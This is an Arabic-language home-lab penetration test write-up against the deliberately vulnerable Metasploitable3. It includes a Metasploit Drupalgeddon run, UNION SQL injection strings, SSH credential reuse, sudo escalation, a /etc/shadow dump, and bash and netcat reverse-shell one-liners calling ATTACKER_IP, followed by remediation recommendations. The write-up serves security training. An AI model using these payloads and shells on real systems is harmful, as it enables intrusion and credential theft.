
تقرير اختبار اختراق مختبري منزلي لـ Metasploitable3 يغطي استطلاع Nmap، وDrupalgeddon RCE، وحقن SQL، وإعادة استخدام بيانات اعتماد SSH، وتصعيد صلاحيات sudo، والأصداف العكسية.
المؤلف: Arlen Fortunato
التاريخ: سبتمبر 2026
البيئة: Parrot OS (المهاجم) → Metasploitable3 Ubuntu 14.04 (الهدف)
النطاق: اختبار اختراق شبكة كامل — الاستكشاف، الاستغلال، رفع الصلاحيات، ما بعد الاستغلال
النوع: مختبر منزلي / تدريب Capture The Flag
⚠️ جميع بيانات الاعتماد أدناه محجوبة. كان هذا تمرينًا قانونيًا ومعزولًا في مختبر منزلي.
| الأداة | الدور |
|---|---|
| Nmap | فحص المنافذ، اكتشاف الخدمات/الإصدارات، بصمة نظام التشغيل |
| Metasploit (msfconsole) | الاستغلال (CVE-2014-3704)، إدارة الجلسات |
| msfvenom | توليد الحمولات (أصداف عكسية bash/netcat) |
| nc (netcat) | مستمع الصدفة العكسية |
| curl / sed | صياغة SQLi يدويًا + تنسيق مخرجات HTML |
| ssh / scp | الوصول عن بُعد، التحقق من بيانات الاعتماد |
| openssl s_client | التحقق من خدمة TLS/SSL |
| gobuster | تخمين الأدلة القسري (استكشاف الويب) |
nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>
نظام التشغيل: Linux Ubuntu 14.04، Kernel 3.13.0-24-generic x86_64
الثغرة: تم توزيع UnrealIRCd 3.2.8.1 تاريخيًا مع ملف ثنائي مُحصّن بحصان طروادة ينفذ أوامر عشوائية عندما يرسل عميل غير مُصادق سلسلة تشغيل قبل التسجيل — تنفيذ كود عن بُعد بصلاحيات مستخدم خادم IRC.
محاولة الاستغلال: وحدة Metasploit exploit/unix/irc/unreal_ircd_3281_backdoor مع الحمولات cmd/unix/reverse_perl، cmd/unix/reverse_netcat، cmd/unix/reverse_bash. أبلغ الفحص التلقائي للوحدة أن الخدمة قابلة للاستغلال؛ لم تُعَد أي جلسة مع أي حمولة.
استكشاف الأخطاء الذي تم إجراؤه:
nc -vz)openssl s_client)nc خطأ بروتوكول IRC رقم 451 — تم تحليل الأمر كأمر IRC، ولم يُنفَّذ أبدًاالخلاصة: تشير لافتة الإصدار إلى البناء القابل للاستغلال، لكن الباب الخلفي غير موجود في هذه النسخة (ملف ثنائي نظيف/مُعاد تركيبه). صُنّفت غير قابلة للاستغلال — إيجابية كاذبة، مع الأدلة.
الثغرة: يحتوي Drupal 7.x قبل 7.32 على حقن SQL حرج في طبقة تجريد قاعدة البيانات يمكّن من تنفيذ كود عن بُعد دون مصادقة.
تأكيد الإصدار: CHANGELOG.txt → "Drupal 7.5, 2011-07-27"
الاستغلال:
msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run
النتيجة:
getuid → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd → /var/www/html/drupal
استكشاف ما بعد الاستغلال:
/var/www/html: chat/، drupal/، payroll_app.php، phpmyadmin//home: 16 حساب مستخدمالثغرة: نموذج تسجيل الدخول في payroll_app.php، حقن SQL في حقل كلمة المرور. لم تُستخدم أي أتمتة — تمت الصياغة عبر curl.
الخطوة 1 — تجاوز المصادقة:
' or 1=1#
' يغلق سلسلة SQL، or 1=1 يفرض الصحة، # يعلّق علامة الاقتباس الزائدة.
الخطوة 2 — عدد الأعمدة + تعيين العرض:
' UNION SELECT null, null, null, null# -- no error = 4 columns
' UNION SELECT 1, 2, 3, 4# -- markers: 1=Username, 2=First, 3=Last, 4=Salary
الخطوة 3 — استكشاف information_schema:
| السؤال | الإجابة |
|---|---|
| إصدار قاعدة البيانات / المستخدم | MySQL 5.5.62، root@localhost |
الخطوة 4 — التفريغ (كلمات المرور محجوبة):
' UNION SELECT username, password, salary, null FROM users#
المسار 1 — حساب افتراضي: زوج بيانات الاعتماد الافتراضي vagrant تمت المصادقة به عبر SSH → مستخدم في مجموعة sudo مع (ALL : ALL) NOPASSWD: ALL.
المسار 2 — إعادة استخدام بيانات الاعتماد: بيانات الاعتماد المستخرجة من تفريغ SQLi تمت المصادقة بها مباشرة عبر SSH كمستخدم مختبر آخر (luke_skywalker، مجموعة sudo، (ALL : ALL) ALL).
الأهمية: يوضح إعادة استخدام بيانات الاعتماد عبر الخدمات — بيانات اعتماد التطبيق مرتبطة بحساب نظام.
vagrant → sudo -l يُظهر NOPASSWD: ALL → sudo su - → uid=0(root).luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root).لم يُطلب أي استغلال محلي — كلا الحسابين يحملان منح sudo مفرطة في التساهل.
sudo cat /etc/shadow
تم استخراج 16 تجزئة md5crypt ($1$) — حصاد كامل لبيانات الاعتماد بعد رفع الصلاحيات.
الحمولة 1 — bash:
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
تم التقاطها على nc -lnvp 4444 → صدفة تفاعلية.
الحمولة 2 — netcat (أنبوب مُسمّى):
mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo
تم التقاطها على nc -lnvp 4445 → صدفة تفاعلية.
الآلية: الأنبوب المُسمّى (FIFO) يربط مدخلات/مخرجات netcat بـ /bin/sh، مشكّلًا نفقًا ثنائي الاتجاه بمقبس واحد؛ يتم تنظيف FIFO بعد ذلك.
تم إجراء جميع الاختبارات حصريًا في مختبر منزلي معزول باستخدام برمجيات قابلة للاستغلال عن قصد (Rapid7 Metasploitable3). لم يتم التعامل مع أي أنظمة إنتاجية أو أهداف غير مصرح بها. هذا التقرير لأغراض تعليمية وتطوير المهارات الشخصية فقط.
| المنفذ | الحالة | الخدمة | الإصدار |
|---|
| 21/tcp | مفتوح | FTP | ProFTPD 1.3.5 |
| 22/tcp | مفتوح | SSH | OpenSSH 6.6.1p1 |
| 80/tcp | مفتوح | HTTP | Apache httpd 2.4.7 (Ubuntu) |
| 445/tcp | مفتوح | SMB | Samba smbd 3.X–4.X |
| 631/tcp | مفتوح | IPP | CUPS 1.7 |
| 3306/tcp | مفتوح | MySQL | MySQL (unauthorized) |
| 3500/tcp | مفتوح | HTTP | WEBrick httpd 1.3.1 (Ruby 2.3.8) |
| 6697/tcp | مفتوح | IRC | UnrealIRCd |
| 8080/tcp | مفتوح | HTTP | Jetty 8.1.7.v20120910 |
| # | الثغرة | CVE / النوع | المنفذ | الخطورة | النتيجة |
|---|
| 1 | بصمة إصدار UnrealIRCd — فحص الباب الخلفي | CVE-2010-2075 | 6697 | ⚠️ إيجابية كاذبة | نجح الفحص التلقائي للوحدة، فشل الفحص اليدوي — الباب الخلفي غير موجود في البناء |
| 2 | Drupal 7.5 — Drupageddon RCE | CVE-2014-3704 | 80 | 🔴 حرجة | صدفة Meterpreter بصلاحيات www-data |
| 3 | تطبيق الرواتب — UNION SQLi (يدوي) | حقن يدوي | 80 | 🔴 حرجة | تفريغ كامل لقاعدة البيانات (15 مستخدمًا، كلمات مرور نصية — محجوبة) |
| 4 | SSH — بيانات اعتماد افتراضية + معاد استخدامها | افتراضية / إعادة استخدام بيانات الاعتماد | 22 | 🔴 حرجة | vagrant (NOPASSWD sudo)، luke_skywalker (sudo ALL) |
| 5 | رفع الصلاحيات (مسارَان) | sudo مُهيأ بشكل خاطئ | لا ينطبق | 🔴 حرجة | root عبر كلا الحسابين |
| 6 | تفريغ ملف الظل | ما بعد الاستغلال | لا ينطبق | 🔴 حرجة | استخراج 16 تجزئة md5crypt |
| 7 | أصداف عكسية (bash + netcat) | msfvenom / صياغة يدوية | 4444/4445 | 🟠 عالية | أصداف تفاعلية تم التقاطها على مستمع المهاجم |
| قواعد البيانات | information_schema، drupal، mysql، payroll، performance_schema |
الجداول في payroll | users |
الأعمدة في users | username، first_name، last_name، password، salary |
| اسم المستخدم | كلمة المرور | الراتب |
|---|
| leia_organa | [REDACTED] | 9560 |
| luke_skywalker | [REDACTED] | 1080 |
| han_solo | [REDACTED] | 1200 |
| artoo_detoo | [REDACTED] | 22222 |
| boba_fett | [REDACTED] | 20000 |
| greedo | [REDACTED] | 50000 |
| (+ 9 حسابات أخرى) | [REDACTED] | — |
| النتيجة | التوصية |
|---|
| بصمة إصدار UnrealIRCd | التحقق من سلامة مصدر الملف الثنائي (المجاميع الاختبارية)؛ الترقية أو الإزالة |
| Drupal 7.5 | الترقية إلى أحدث إصدار مستقر؛ تطبيق SA-CORE-2014-005 |
| حقن SQL في تطبيق الرواتب | استعلامات مُعاملة / عبارات مُعدّة مسبقًا؛ التحقق من المدخلات |
| بيانات اعتماد SSH الافتراضية | تدوير/إزالة الحسابات الافتراضية؛ فرض المصادقة القائمة على المفاتيح |
| صلاحيات sudo المفرطة | تطبيق مبدأ أقل صلاحية؛ إزالة منح NOPASSWD الشاملة |
| إعادة استخدام بيانات الاعتماد | فرض كلمات مرور فريدة لكل خدمة؛ سياسة كلمات المرور |
| تجزئة كلمات المرور الضعيفة | الترحيل من md5crypt → bcrypt / Argon2id |